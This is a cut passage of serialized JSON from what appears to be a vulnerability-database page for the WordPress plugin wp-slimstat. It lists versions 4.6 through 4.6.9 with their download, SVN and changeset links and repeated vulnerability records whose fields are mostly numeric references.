id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":3406,"download_url":3407,"svn_tag_url":3408,"released_at":39,"has_diff":54,"diff_files_changed":3409,"diff_lines":39,"trac_diff_url":3410,"vulnerabilities":3411,"is_current":54},"4.6.9","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.6.9.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.6.9\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.6.8&new_path=%2Fwp-slimstat%2Ftags%2F4.6.9",[3412,3413,3414,3415,3416,3417,3418,3419,3420,3421,3422,3423,3424,3425,3426,3427,3428,3429,3430,3431],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":3433,"download_url":3434,"svn_tag_url":3435,"released_at":39,"has_diff":54,"diff_files_changed":3436,"diff_lines":39,"trac_diff_url":3437,"vulnerabilities":3438,"is_current":54},"4.6.8","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.6.8.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.6.8\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.6.7&new_path=%2Fwp-slimstat%2Ftags%2F4.6.8",[3439,3440,3441,3442,3443,3444,3445,3446,3447,3448,3449,3450,3451,3452,3453,3454,3455,3456,3457,3458],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":3460,"download_url":3461,"svn_tag_url":3462,"released_at":39,"has_diff":54,"diff_files_changed":3463,"diff_lines":39,"trac_diff_url":3464,"vulnerabilities":3465,"is_current":54},"4.6.7","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.6.7.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.6.7\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.6.6&new_path=%2Fwp-slimstat%2Ftags%2F4.6.7",[3466,3467,3468,3469,3470,3471,3472,3473,3474,3475,3476,3477,3478,3479,3480,3481,3482,3483,3484,3485],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":3487,"download_url":3488,"svn_tag_url":3489,"released_at":39,"has_diff":54,"diff_files_changed":3490,"diff_lines":39,"trac_diff_url":3491,"vulnerabilities":3492,"is_current":54},"4.6.6","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.6.6.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.6.6\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.6.5&new_path=%2Fwp-slimstat%2Ftags%2F4.6.6",[3493,3494,3495,3496,3497,3498,3499,3500,3501,3502,3503,3504,3505,3506,3507,3508,3509,3510,3511,3512],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":3514,"download_url":3515,"svn_tag_url":3516,"released_at":39,"has_diff":54,"diff_files_changed":3517,"diff_lines":39,"trac_diff_url":3518,"vulnerabilities":3519,"is_current":54},"4.6.5","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.6.5.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.6.5\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.6.4&new_path=%2Fwp-slimstat%2Ftags%2F4.6.5",[3520,3521,3522,3523,3524,3525,3526,3527,3528,3529,3530,3531,3532,3533,3534,3535,3536,3537,3538,3539],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":3541,"download_url":3542,"svn_tag_url":3543,"released_at":39,"has_diff":54,"diff_files_changed":3544,"diff_lines":39,"trac_diff_url":3545,"vulnerabilities":3546,"is_current":54},"4.6.4","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.6.4.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.6.4\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.6.3&new_path=%2Fwp-slimstat%2Ftags%2F4.6.4",[3547,3548,3549,3550,3551,3552,3553,3554,3555,3556,3557,3558,3559,3560,3561,3562,3563,3564,3565,3566],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":3568,"download_url":3569,"svn_tag_url":3570,"released_at":39,"has_diff":54,"diff_files_changed":3571,"diff_lines":39,"trac_diff_url":3572,"vulnerabilities":3573,"is_current":54},"4.6.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.6.3.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.6.3\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.6.2&new_path=%2Fwp-slimstat%2Ftags%2F4.6.3",[3574,3575,3576,3577,3578,3579,3580,3581,3582,3583,3584,3585,3586,3587,3588,3589,3590,3591,3592,3593],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":3595,"download_url":3596,"svn_tag_url":3597,"released_at":39,"has_diff":54,"diff_files_changed":3598,"diff_lines":39,"trac_diff_url":3599,"vulnerabilities":3600,"is_current":54},"4.6.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.6.2.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.6.2\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.6.1&new_path=%2Fwp-slimstat%2Ftags%2F4.6.2",[3601,3602,3603,3604,3605,3606,3607,3608,3609,3610,3611,3612,3613,3614,3615,3616,3617,3618,3619,3620],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":3622,"download_url":3623,"svn_tag_url":3624,"released_at":39,"has_diff":54,"diff_files_changed":3625,"diff_lines":39,"trac_diff_url":3626,"vulnerabilities":3627,"is_current":54},"4.6.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.6.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.6.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.6&new_path=%2Fwp-slimstat%2Ftags%2F4.6.1",[3628,3629,3630,3631,3632,3633,3634,3635,3636,3637,3638,3639,3640,3641,3642,3643,3644,3645,3646,3647],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":3649,"download_url":3650,"svn_tag_url":3651,"released_at":39,"has_diff":54,"diff_files_changed":3652,"diff_lines":39,"trac_diff_url":3653,"vulnerabilities":3654,"is_current":54},"4.6","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.6.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.6\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.5.2&new_path=%2Fwp-slimstat%2Ftags%2F4.6",[3655,3656,3657,3658,3659,3660,3661,3662,3663,3664,3665,3666,3667,3668,3669,3670,3671,3672,3673,3674],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,